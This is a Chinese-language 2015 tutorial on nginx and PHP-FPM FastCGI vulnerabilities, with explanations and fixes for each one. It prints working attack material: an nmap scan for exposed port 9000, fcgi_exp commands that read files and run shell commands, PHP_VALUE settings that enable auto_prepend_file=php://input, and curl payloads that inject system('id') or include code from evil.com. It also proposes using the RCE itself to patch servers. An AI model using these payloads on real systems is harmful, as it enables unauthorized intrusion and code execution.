catalog
1. Introduction 2. nginx檔案型別錯誤解析漏洞 3. 針對直接公網開放的Fast-CGI攻擊 4. 通過FCGI API動態修改php.ini中的配置實現RCE
1. Introduction
我們首先來梳理一下CGI的相關概念
1. CGI CGI是為了保證web server傳遞過來的資料是標準格式的,從本質上來說,它是一個協議標準。web server(例如nginx)只是內容的分發者。比如 1) 如果請求/index.html,那麼web server會去檔案系統中找到這個檔案,傳送給瀏覽器,這裡分發的是靜態資料 2) 如果請求的是/index.php,根據配置檔案,nginx知道這個不是靜態檔案,需要去找PHP解析器來處理,那麼他會把這個請求簡單處理後交給PHP解析器 問題的核心在於Nginx需要傳哪些資料給PHP解析器呢,例如 1) url 2) 查詢字串 3) POST資料 4) HTTP header .. 本質上CGI就是規定要傳哪些資料、以什麼樣的格式傳遞給後方處理這個請求的協議,而對應的是,只要是遵循這個協議標準實現的程式,就可以稱之為CGI程式 2. FastCGI 首先明確一點,FastCGI也同樣是一個協議標準,FastCGI的設計目的是提高CGI程式的效能的 1) 首先,Fastcgi會先啟一個master,解析配置檔案,初始化執行環境 2) 然後再啟動多個worker 3) 當請求過來時,master會傳遞給一個worker,然後立即可以接受下一個請求。這樣就避免了重複的勞動,效率提高了 4) 而且當worker不夠用時,master可以根據配置預先啟動幾個worker等著,同時如果發現空閒worker太多時,也會停掉一些,這樣就提高了效能,也節約了資源 而對應的是,只要是遵循了這個協議標準實現的程式,就可以稱之為FastCGI程式 3. PHP-CGI / PHP-FastCGI PHP的直譯器是PHP-CGI,PHP-CGI只是個CGI程式,他自己本身只能解析請求,返回結果,不會程式管理 4. PHP-FPM PHP-FPM是PHP-CGI程式的管理器,用來管理PHP-CGI程式的,PHP-FPM的管理物件是PHP-CGI
0x1: PHP-FPM
PHP-FPM的功能包括
1. 支援平滑停止/啟動的高階程式管理功能 2. 可以工作於不同的 uid/gid/chroot 環境下,並監聽不同的埠和使用不同的 php.ini 配置檔案(可取代 safe_mode 的設定) 3. stdout、stderr日誌記錄 4. 在發生意外情況的時候能夠重新啟動並快取被破壞的 opcode 5. 檔案上傳優化支援 6. "慢日誌" - 記錄指令碼(不僅記錄檔名,還記錄 PHP backtrace 資訊,可以使用 ptrace或者類似工具讀取和分析遠端程式的執行資料)執行所導致的異常緩慢 7. fastcgi_finish_request() - 特殊功能:用於在請求完成和重新整理資料後,繼續在後臺執行耗時的工作(錄入視訊轉換、統計處理等) 8. 動態/靜態子程式產生 9. 基本 SAPI 執行狀態資訊(類似Apache的 mod_status) 10. 基於 php.ini 的配置檔案
Relevant Link:
http://php.net/manual/zh/install.fpm.configuration.php http://php.net/manual/zh/install.fpm.php http://segmentfault.com/q/1010000000256516
2. nginx檔案型別錯誤解析漏洞
0x1: 漏洞描述
漏洞介紹:nginx是一款高效能的web伺服器,使用非常廣泛,其不僅經常被用作反向代理,也可以非常好的支援PHP的執行。但是其中存在一個較為嚴重的安全問題,預設情況下可能導致伺服器錯誤的將任何型別的檔案以PHP的方式進行解析,這將導致嚴重的安全問題,使得惡意的攻擊者可能攻陷支援php的nginx伺服器
0x2: 漏洞分析
nginx預設以cgi的方式支援php的執行,在配置檔案中如下配置
location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params; }
配置引數簡單說明如下
1. location對請求進行選擇的時候會使用URI環境變數進行選擇 1) 其中傳遞到後端Fastcgi的關鍵變數SCRIPT_FILENAME由nginx生成的$fastcgi_script_name決定 2) 而通過分析可以看到$fastcgi_script_name是直接由URI環境變數控制的 2. 這裡就是產生問題的點。而為了較好的支援PATH_INFO的提取,在PHP的配置選項裡存在cgi.fix_pathinfo選項,其目的是為了從SCRIPT_FILENAME裡取出真正的指令碼名
我們來假設一個攻擊場景
1. 假設存在一個URL: http://localhost/test/test.jpg 2. 我們以如下的方式去訪問: http://localhost/test/test.jpg/test.php 3. nginx將會得到一個URI: /test.jpg/test.php 4. 經過location指令,該請求將會交給後端的fastcgi處理,nginx為其設定環境變數SCRIPT_FILENAME,內容為: /scripts/test.jpg/test.php 5. 後端的fastcgi在接受到該選項時,會根據fix_pathinfo配置決定是否對SCRIPT_FILENAME進行額外的處理,一般情況下如果不對fix_pathinfo進行設定將影響使用PATH_INFO進行路由選擇的應用,所以該選項一般配置開啟。php通過該選項之後將查詢其中真正的指令碼檔名字,查詢的方式也是檢視檔案是否存在,這個時候將分離出SCRIPT_FILENAME和PATH_INFO分別為 1) SCRIPT_FILENAME: /scripts/test.jpg 2) PATH_INFO: test.php 6. 最後,以/scripts/test.jpg作為此次請求需要執行的指令碼,而nginx會使用php解析器來處理這個jpg檔案,攻擊者就可以實現讓nginx以php來解析任何型別的檔案了
漏洞的本質實際上就是由於fcgi和webserver對script路徑級引數的理解不同出現的問題,這是典型的因為跨系統語境不同導致對同一個請求的不同解釋導致的漏洞,它的攻擊面是帶有這種漏洞的nginx
0x3: POC
訪問一個nginx支援php的站點,在一個任何資源的檔案如robots.txt後面加上/test.php,這個任意資原始檔就會被當作php檔案得以執行
0x4: 修復方案(需重啟)
1. 修改php.ini配置 cgi.fix_pathinfo = 0 2. nginx配置檔案中新增 if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; } /* 考慮到MVC框架、使用者自定義站點中有可能出現xxx/xx.php的情況,這個規則應該更加細粒度一點,例如*.jpg/.*php、*.txt/.*php */
另外,nginx可以在不需要重啟的情況,hotreload配置檔案
service nginx reload //or /etc/init.d/nginx reload
0x5: 修復方案(無需重啟)
前提是目標伺服器同時存在FCGI API暴露在公網的漏洞,使用hotfix的修復思想,利用FCGI本身可以RCE的特點,利用RCE修改存在漏洞的機器的FCGI漏洞
1. 利用FCGI RCE漏洞修改目標伺服器的nginx配置檔案的配置 if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; } 2. 利用FCGI RCE漏洞動態修改php.ini的值 cgi.fix_pathinfo = 0
Relevant Link:
http://www.80sec.com/nginx-securit.html http://php.net/manual/zh/ini.core.php
3. 針對直接公網開放的Fast-CGI攻擊
除了利用nginx檔案解析漏洞之外,由於fcgi和webserver是通過網路進行溝通的,因此目前越來越多的叢集將fcgi直接繫結在公網上,所有人都可以對其進行訪問。這樣就意味著,任何人都可以偽裝成webserver,讓fcgi執行我們想執行的指令碼內容。我們以php-fpm(php的fast-cgi的實現)作為例子說明直接將fastcgi暴露在公網所帶來的安全風險
0x1: 受影響範圍掃描
/* 1. php-fpm預設監聽的埠是9000 2. 使用sV的原因是,因為9000埠可能還存在其他服務,這裡需要借用nmap的指紋識別先幫我們鑑定一下 */ nmap -sV -p 9000 --open 173.xxx.xxx.1/24
0x2: fcgi劫持POC
因為webserver為了提供fastcgi一些引數,每次轉發請求的時候,會通過FASTCGI_PARAMS的包向fcgi程式進行傳遞。本來這些引數是使用者不可控的,但是既然這個fcgi對外開放,那麼也就說明我們可以通過設定這些引數,來讓我們去做一些原本做不到的事情
./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue /* 1. 在FASTCGI_PARAMS中,設定DOCUMENT_ROOT為"/"根目錄 2. 設定SCRIPT_FILENAME為/etc/issue 3. 這樣,只要我們有許可權,我們就可以控制fcgi去讀取這臺機器上的任意檔案了。實際上這並不是讀取,而是用php去執行它 */
fcgi_exp.go
.. env := make(map[string]string) env["SCRIPT_FILENAME"] = url env["DOCUMENT_ROOT"] = "/" env["SERVER_SOFTWARE"] = "go / fcgiclient " env["REMOTE_ADDR"] = "127.0.0.1" env["SERVER_PROTOCOL"] = "HTTP/1.1" if len(reqParams) != 0 { env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input" } else { env["REQUEST_METHOD"] = "GET" } ..
0x3: 攻擊向量
1. 類似於一個普通的LFI漏洞,如果你知道這臺機器上的log路徑,或者任何你可以控制內容的檔案路徑,你就可以執行任意程式碼了 //將LFI漏洞轉化為RCE的相關知識,請參閱另一篇文章: http://www.cnblogs.com/LittleHann/p/3665062.html 2. 動態修改php.ini中的auto_prepend_file的值,去遠端執行任意檔案。將一個LFI的漏洞變成了RFI
0x4: 修復方案
1. 不要把fcgi介面對公網暴露 2. 對fcgi會新增身份認證機制
4. 通過FCGI API動態修改php.ini中的配置實現RCE
0x1: 攻擊向量
通用通過設定FASTCGI_PARAMS,我們可以利用PHP_ADMIN_VALUE和PHP_VALUE去動態修改php的設定
env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "auto_prepend_file = php://input" env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
利用執行php://input,然後在POST的內容中寫入我們的php程式碼,這樣就可以直接執行了
./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"
0x2: POC
1. 本地包含直接執行程式碼: curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n 2. 遠端包含執行程式碼: curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt //-d引數: 作用是給php定義一個ini的值
0x2: 修復方案
1. 不要把fcgi介面對公網暴露(重要) 2. 對fcgi會新增身份認證機制 3. 升級php cgi
Relevant Link:
http://zone.wooyun.org/content/1060 http://zone.wooyun.org/content/151 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
Copyright (c) 2015 LittleHann All rights reserved